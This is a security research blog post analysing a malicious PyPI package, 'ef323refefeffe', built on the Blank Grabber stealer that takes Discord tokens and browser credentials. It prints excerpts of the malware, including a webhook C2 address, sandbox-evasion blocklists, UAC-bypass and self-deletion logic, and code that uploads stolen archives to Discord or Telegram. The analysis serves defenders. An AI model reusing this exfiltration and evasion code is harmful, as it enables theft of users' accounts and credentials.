The Socket research team has uncovered a new info-stealing campaign in a malicious Python package called 'ef323refefeffe.' It's part of a trend we’re monitoring - an uptick in malicious packages that reference Discord.
Our AI-powered threat detection has logged 266 threats for packages targeting Discord in the title, and 83 of those threats appeared within the last 30 days.
Although Discord is primarily a platform for legitimate communication and community building, a minority of users turn their corner of it into a Mos Eisley-esque "hive of scum and villainy.” The platform’s ease of setting up servers and channels makes it convenient for coordinating and distributing malware, sharing trojans or other files disguised as legitimate documents, all while staying anonymous.
Because Discord integrates with other platforms and services, it is frequently exploited for spreading malware that steals authentication tokens and user credentials.
This particular malicious package uses the Python-based open source Blank Grabber malware created to steal sensitive information from infected systems by abusing Discord webhooks.
Blank Grabber is likely to pop up again in 2024, as it's a healthy, active open source project hosted on GitHub that received 303 commits over the past four months. The original founding developer (Blank-c) recently passed the turn-key malware project over to a new maintainer who forked it, as academic responsibilities required more attention:
Over the past year, we've worked together to build and improve this project. It has been an incredible journey, and I'm immensely grateful for all the contributions, feedback, and support from each one of you. This project has not only helped me improve my Python skills but has also been a great opportunity to explore and learn more about computer systems.
However, as the saying goes, all good things must come to an end. As I approach the final year of my school journey, I find myself needing to focus on my academic responsibilities and make room for new opportunities ahead. Therefore, I have decided to step back from actively maintaining this project.
The founder's genial vibe and appreciation of the community's collaborative efforts imparts a striking ethical dissonance to the farewell message, given the fundamentally unethical nature of a project designed to infiltrate victims' systems and pilfer credentials.
The founder frequently provided technical support in the project's GitHub issues, many times assisting users in making use of the credentials they stole using the software. Blank Grabber is just one project within the "stealers" hacking community that threat actors are leveraging to silently steal users' authentication tokens and credentials from Discord.
Summary
This Blank-Grabber-based Python malware is a sophisticated threat designed to stealthily collect sensitive information from a victim's system. The code analysis reveals a well-structured class-based architecture, multithreaded execution for efficiency, and functions dedicated to stealing data from applications like Discord and Telegram.
The malware employs error handling, creates archives, and uploads stolen data to external services. Additional features include UAC bypass attempts, self-hiding or deletion, and potential startup persistence.
It includes features such as capturing sensitive information, checking for virtual machines, and attempting to manipulate system settings.
The stealer seems to be focused on extracting sensitive information, particularly Discord tokens, passwords, cookies, browsing history, and autofill data from various web browsers. Additionally, the code attempts to collect information related to Discord accounts, such as user details, Nitro status, billing information, and gift codes.
One intriguing area of focus is the detection of virtual machines (VMs), often employed by malicious actors to evade detection and analysis. The Python class named VmProtect provides a set of tools for scrutinizing various aspects of system information to determine if a system is running as a VM.
Technical Analysis of Blank Grabber's Python Code#
https://socket.dev/pypi/package/ef323refefeffe/files/1.0/tar-gz/ef323refefeffe-1.0/setup.py
Configuring Malicious Parameters
The Settings class initializes various parameters used throughout the script, including command and control server details, mutex information, and flags controlling different behaviors.
class Settings:
C2 = aHR0cHM6Ly9jYW5hcnkuZGlzY29yZC5jb20vYXBpL3dlYmhvb2tzLzExODk0Mjc0Mjk2MDE3MTAxMDAvSm1MdnAtWHpqeUd6dVlGck5makJWV1prUDZhNDJMZV96TkdNRWE4cDVXX1ZWekhoNFZzRVVmb21kOG1GNDhnMWhMNEI=
#C2 Decoded = https://canvas.discord.com/api/webhooks/1189427429601710100/JmLvp-XzyGzuYFrNfjBVWkP6a42Le_zNGMEa8p5V_VZxHh4VsEUpzVp6X
Mutex = bnRtVFdTaEQzWTNiVUFKcA==
#Mutex decoded = ntmTWShD3Y3bUAIp
PingMe = bool('true')
VmProtect Class: Checking for Virtual Machine Environments
The VmProtect class focuses on detecting if the script is running in a virtual machine. It employs methods to check UUID, computer name, user names, system hosting, HTTP simulation, and registry entries. If any of these checks succeed, the script identifies the system as a virtual machine.
class VmProtect:
BLACKLISTED_UUIDS = ('7AB5C494-39F5-4941-9163-47F54D6D5016', '032E02B4-0499-05C3-0806-3C0700080009', '03DE0294-0480-05DE-1A06-350700080009', '11111111-2222-3333-4444-555555555555', '6F3CA5EC-BEC9-4A4D-8274-11168F640058', 'ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548', '4C4C4544-0050-3710-8058-CAC04F59344A', '00000000-0000-0000-0000-AC1F6BD04972', '00000000-0000-0000-0000-000000000000', '5BD24D56-789F-8468-7CDC-CAA7222CC121', '49434D53-0200-9065-2500-65902500E439', '49434D53-0200-9036-2500-36902500F022', '777D84B3-88D1-451C-93E4-D235177420A7', '49434D53-0200-9036-2500-369025000C65', 'B1112042-52E8-E25B-3655-6A4F54155DBF', '00000000-0000-0000-0000-AC1F6BD048FE',
'EB16924B-FB6D-4FA1-8666-17B91F62FB37', 'A15A930C-8251-9645-AF63-E45AD728C20C', '67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3', 'C7D23342-A5D4-68A1-59AC-CF40F735B363', '63203342-0EB0-AA1A-4DF5-3FB37DBB0670', '44B94D56-65AB-DC02-86A0-98143A7423BF', '6608003F-ECE4-494E-B07E-1C4615D1D93C', 'D9142042-8F51-5EFF-D5F8-EE9AE3D1602A', '49434D53-0200-9036-2500-369025003AF0', '8B4E8278-525C-7343-B825-280AEBCD3BCB', '4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27', '79AF5279-16CF-4094-9758-F88A616D81B4', 'FE822042-A70C-D08B-F1D1-C207055A488F', '76122042-C286-FA81-F0A8-514CC507B250', '481E2042-A1AF-D390-CE06-A8F783B1E76A', 'F3988356-32F5-4AE1-8D47-FD3B8BAFBD4C', '9961A120-E691-4FFE-B67B-F0E4115D5919')
BLACKLISTED_COMPUTERNAMES = ('bee7370c-8c0c-4', 'desktop-nakffmt', 'win-5e07cos9alr', 'b30f0242-1c6a-4', 'desktop-vrsqlag', 'q9iatrkprh', 'xc64zb', 'desktop-d019gdm', 'desktop-wi8clet', 'server1', 'lisa-pc', 'john-pc', 'desktop-b0t93d6', 'desktop-1pykp29',
'desktop-1y2433r', 'wileypc', 'work', '6c4e733f-c2d9-4', 'ralphs-pc', 'desktop-wg3myjs', 'desktop-7xc6gez', 'desktop-5ov9s0o', 'qarzhrdbpj', 'oreleepc', 'archibaldpc', 'julia-pc', 'd1bnjkfvlh', 'compname_5076', 'desktop-vkeons4', 'NTT-EFF-2W11WSS')
BLACKLISTED_USERS = ('wdagutilityaccount', 'abby', 'peter wilson', 'hmarc', 'patex', 'john-pc', 'rdhj0cnfevzx', 'keecfmwgj', 'frank', '8nl0colnq5bq', 'lisa', 'john',
'george', 'pxmduopvyx', '8vizsm', 'w0fjuovmccp5a', 'lmvwjj9b', 'pqonjhvwexss', '3u2v9m8', 'julia', 'heuerzl', 'harry johnson', 'j.seance', 'a.monaldo', 'tvm')
BLACKLISTED_TASKS = ('fakenet', 'dumpcap', 'httpdebuggerui', 'wireshark', 'fiddler', 'vboxservice', 'df5serv', 'vboxtray', 'vmtoolsd', 'vmwaretray', 'ida64', 'ollydbg', 'pestudio', 'vmwareuser', 'vgauthservice', 'vmacthlp',
'x96dbg', 'vmsrvc', 'x32dbg', 'vmusrvc', 'prl_cc', 'prl_tools', 'xenservice', 'qemu-ga', 'joeboxcontrol', 'ksdumperclient', 'ksdumper', 'joeboxserver', 'vmwareservice', 'vmwaretray', 'discordtokenprotector')
class VmProtect:
# ... (other methods and settings)
@staticmethod
def isVM() -> bool:
# ... (checking UUID, computer name, etc.)
return result
Utility Class: Performing System Operations
The Utility class encompasses a range of operations, including UAC bypass methods, killing specified tasks, disabling Windows Defender, excluding paths from Defender, generating random strings, fetching Wi-Fi passwords, and more. The UACbypass method attempts different approaches to bypass User Account Control.
class Utility:
# ... (other methods)
@staticmethod
def UACbypass(method: int = 1) -> bool:
# ... (UAC bypass techniques)
return True
Browsers Class: Extracting Passwords from Chromium Browsers
The Browsers class contains functionality related to Chromium browsers. It retrieves encryption keys, decrypts passwords, and fetches saved passwords from browser files.
class Browsers:
class Chromium:
# ... (other methods)
def GetPasswords(self) -> list[tuple[str, str, str]]:
# ... (retrieving passwords from Chromium browsers)
return passwords
Script Logic: The Malicious Dance #
The script's main logic orchestrates a series of actions, from checking system properties to performing UAC bypass techniques, capturing sensitive information, hiding its presence, modifying system settings, and even blocking specific websites in the hosts file. This code seems to focus on handling the script execution in a Windows environment, checking for administrative privileges, attempting UAC bypass, and showing UAC prompts based on different conditions. Let's break down the Python code block to understand each part.
Operating System Check
This part checks if the operating system is Windows (nt stands for "New Technology," the Windows API). If true, it logs an informational message indicating that the process has started.
if os.name == 'nt':
Logger.info('Process started')
Hide Console
If the HideConsole
setting is enabled, it calls HideConsole
from the Syscalls
module to attempt hiding the console window.
if Settings.HideConsole:
Syscalls.HideConsole()
Admin Privileges Check
Checks if the script is running with administrative privileges. If not, it logs a warning message.
if not Utility.IsAdmin():
Logger.warning('Admin privileges not available')
UAC Bypass Attempt
If certain conditions are met (e.g., the script is not run with '--nouacbypass' argument, UAC bypass is enabled), it attempts to bypass User Account Control (UAC). If successful, it exits the script. If unsuccessful, it logs a warning and, if not in the system startup, shows a UAC prompt to the user.
if not '--nouacbypass' in sys.argv and Settings.UacBypass:
Logger.info(
'Trying to bypass UAC (Application will restart)')
if Utility.UACbypass():
os._exit(0)
UAC Prompt for Non-Admin User
If the script is not in the system startup and UAC bypass is not enabled, it logs an informational message and shows a UAC prompt to the user.
if not Utility.IsInStartup() and (not Settings.UacBypass):
Logger.info('Showing UAC prompt to user (Application will restart)')
if Utility.UACPrompt(sys.executable):
os._exit(0)
Extracting Discord Tokens from Web Browsers
The script utilizes several functions to interact with browser data, decrypting and extracting valuable details. Let's break down the key components of the script.
GetCookies, GetHistory, GetAutofills Functions
These functions are responsible for extracting cookies, browsing history, and autofill data from web browser files. They utilize the browser's data structures and SQLite databases to fetch relevant information.
Discord Class
This class encapsulates methods for interacting with Discord-related data. The GetTokens
method is a central part of the script, responsible for extracting Discord tokens and associated user information.
SafeStorageSteal, SimpleSteal, FireFoxSteal Methods
These methods implement different approaches to extract Discord tokens from browser data. The SafeStorageSteal
method, for instance, uses a safe storage mechanism to decrypt tokens.
Main Token Extraction Logic
The script includes a main logic block that utilizes multi-threading to extract tokens concurrently from various browsers. It makes HTTP requests to Discord API endpoints to validate tokens and fetch additional user information.
# Code Block 1: GetCookies Function
def GetCookies(self) -> list[tuple[str, str, str, str, int]]:
# Function to retrieve cookies from web browser data
# Code Block 2: GetHistory Function
def GetHistory(self) -> list[tuple[str, str, int]]:
# Function to retrieve browsing history from web browser data
# Code Block 3: GetAutofills Function
def GetAutofills(self) -> list[str]:
# Function to retrieve autofill data from web browser data
# Code Block 4: Discord Class
class Discord:
# Class containing methods for interacting with Discord-related data
@staticmethod
def GetTokens() -> list[dict]:
# Method to extract Discord tokens and related information
@staticmethod
def SafeStorageSteal(path: str) -> list[str]:
# Method to extract tokens using a safe storage mechanism
@staticmethod
def SimpleSteal(path: str) -> list[str]:
# Method to extract tokens using a simpler approach
@staticmethod
def FireFoxSteal(path: str) -> list[str]:
# Method to extract tokens from Firefox browser data
The code begins with the definition of a class named BlankGrabber
. This class encapsulates various attributes such as Separator
, TempFolder
, ArchivePath
, and more. The __init__
method initializes the Separator
attribute.
class BlankGrabber:
Separator: str = None
TempFolder: str = None
ArchivePath: str = None
# ... (other class attributes)
def __init__(self) -> None:
self.Separator = '\\n\\n' + 'Blank Grabber'.center(50, '=') + '\\n\\n'
Archive and Temporary Folder Creation
The malware continuously generates a unique archive path and temporary folder path. It ensures that the generated paths do not conflict with existing files or directories.
while True:
self.ArchivePath = os.path.join(
os.getenv('temp'), Utility.GetRandomString() + '.zip')
if not os.path.isfile(self.ArchivePath):
break
while True:
self.TempFolder = os.path.join(
os.getenv('temp'), Utility.GetRandomString(10, True))
if not os.path.isdir(self.TempFolder):
os.makedirs(self.TempFolder, exist_ok=True)
break
Multi-threaded Execution
The malware employs multithreading to execute various functions concurrently. Each function, such as StealBrowserData
, StealDiscordTokens
, etc., is executed in a separate thread. The Thread
class from the threading
module is used for this purpose.
for func, daemon in ((self.StealBrowserData, False), (self.StealDiscordTokens, False), ...):
thread = Thread(target=func, daemon=daemon)
thread.start()
Tasks.AddTask(thread)
Tasks.WaitForAll()
Data Collection Functions
These functions follow a common pattern of checking settings, executing the data-stealing logic if the corresponding settings are enabled, and handling any errors that may occur during the process. The code contains multiple functions responsible for stealing different types of data. For example:
@Errors.Catch
def StealCommonFiles(self) -> None:
if Settings.CaptureCommonFiles:
# ... (code for stealing common files)
@Errors.Catch
def StealMinecraft(self) -> None:
if Settings.CaptureGames:
# ... (code for stealing Minecraft-related files)
# Similar functions for stealing Discord tokens, Telegram sessions, game-related data, etc.
Cleanup
After executing all data-stealing functions, the malware attempts to remove the created archive and temporary folder. Any exceptions during this cleanup process are caught and ignored.
try:
Logger.info('Removing archive')
os.remove(self.ArchivePath)
Logger.info('Removing temporary folder')
shutil.rmtree(self.TempFolder)
except Exception:
pass
Archive Creation and Upload
After stealing data, the malware creates an archive and uploads it to an external service.
def CreateArchive(self) -> tuple[str, str]:
# ... (archive creation logic)
def UploadToExternalService(self, path, filename=None) -> str | None:
# ... (upload logic)
Data Transmission to C2
The stolen data, system information, and IP information are packaged and sent to the Command and Control (C2) server. The data is sent to different destinations based on the value of Settings.C2[0]
. In both cases, the data is sent to the specified destination (Discord or Telegram) using the provided URL or token.
Case 0 (Discord C2):
case 0:
image_url = 'https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.png'
payload = {
'content': '||@everyone||' if Settings.PingMe else '',
'embeds': [{
'title': 'Blank Grabber',
'description': f'**__System Info__\n```autohotkey\n{system_info}```\n__IP Info__```prolog\n{ipinfo}```\n__Grabbed Info__```js\n{grabbedInfo}```**',
'url': 'https://github.com/Blank-c/Blank-Grabber',
'color': 34303,
'footer': {
'text': 'Grabbed by Blank Grabber | https://github.com/Blank-c/Blank-Grabber'
},
'thumbnail': {
'url': image_url
}
}],
'username': 'Blank Grabber',
'avatar_url': image_url
}
# ... (code to check the size of the archive and upload if necessary)
fields = dict()
if url:
payload['content'] += ' | Archive : %s' % url
else:
fields['file'] = (filename, open(self.ArchivePath, 'rb').read())
fields['payload_json'] = json.dumps(payload).encode()
http.request('POST', Settings.C2[1], fields=fields)
Case 0 (Telegram C2):
case 1:
payload = {
'caption': f'<b>Blank Grabber</b> got a new victim: <b>{os.getlogin()}</b>\n\n<b>IP Info</b>\n<code>{ipinfo}</code>\n\n<b>System Info</b>\n<code>{system_info}</code>\n\n<b>Grabbed Info</b>\n<code>{grabbedInfo}</code>'.strip(),
'parse_mode': 'HTML'
}
# ... (code to check the size of the archive and upload if necessary)
fields = dict()
if url:
payload['text'] = payload['caption'] + '\n\nArchive : %s' % url
method = 'sendMessage'
else:
fields['document'] = (filename, open(self.ArchivePath, 'rb').read())
method = 'sendDocument'
token, chat_id = Settings.C2[1].split('$')
fields.update(payload)
fields.update({'chat_id': chat_id})
http.request('POST', 'https://api.telegram.org/bot%s/%s' % (token, method), fields=fields)
Additional Features
The malware includes various features, such as UAC bypass attempts, hiding or deleting itself, and potential startup persistence.
if Utility.UACbypass():
os._exit(0)
else:
Logger.warning('Failed to bypass UAC')
if Utility.GetSelf()[1] and Settings.Melt and (not Utility.IsInStartup()):
Logger.info('Hiding the file')
Utility.HideSelf()
elif Settings.Melt:
Logger.info('Deleting the file')
Utility.DeleteSelf()
The 'ef323refefeffe' package was published to PyPI on December 26, 2023, and was downloaded approximately 134 times per week before being removed for malware.
Users should exercise caution when engaging with Discord links and downloads, as this is often how malware is spread. It's also important to regularly update operating system software, antivirus software, and the Discord app, as there are often important security patches. Discord users should also be wary of third-party apps or bots that interact with the platform. Only use reputable integrations and understand the permissions you're granting them.
IOCs#
https://canvas.discord.com/api/webhooks/1189427429601710100/JmLvp-XzyGzuYFrNfjBVWkP6a42Le_zNGMEa8p5V_VZxHh4VsEUpzVp6X